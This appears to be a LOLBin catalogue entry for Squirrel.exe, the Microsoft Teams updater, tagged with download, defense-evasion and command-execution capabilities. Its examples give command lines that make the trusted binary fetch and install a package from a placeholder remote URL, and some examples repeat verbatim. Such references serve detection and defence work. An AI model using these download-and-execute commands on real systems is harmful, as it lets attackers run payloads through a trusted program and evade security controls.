windows enabled community high v1.0.0

squirrel

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\Users\<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exe.

📋 Live Preview
squirrel
squirrel

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download
security.defense-evasion.bypass
security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

The above binary will go to url and look for RELEASES file and download the nuget package. (Download binary)

squirrel.exe --download {REMOTEURL}

The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)

squirrel.exe --update {REMOTEURL}

The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)

squirrel.exe --update {REMOTEURL}

The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)

squirrel.exe --updateRollback={REMOTEURL}

The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)

squirrel.exe --updateRollback={REMOTEURL}

Detection

Documentation

squirrel

squirrel is a Windows LOLBin. Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\Users<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exe.

References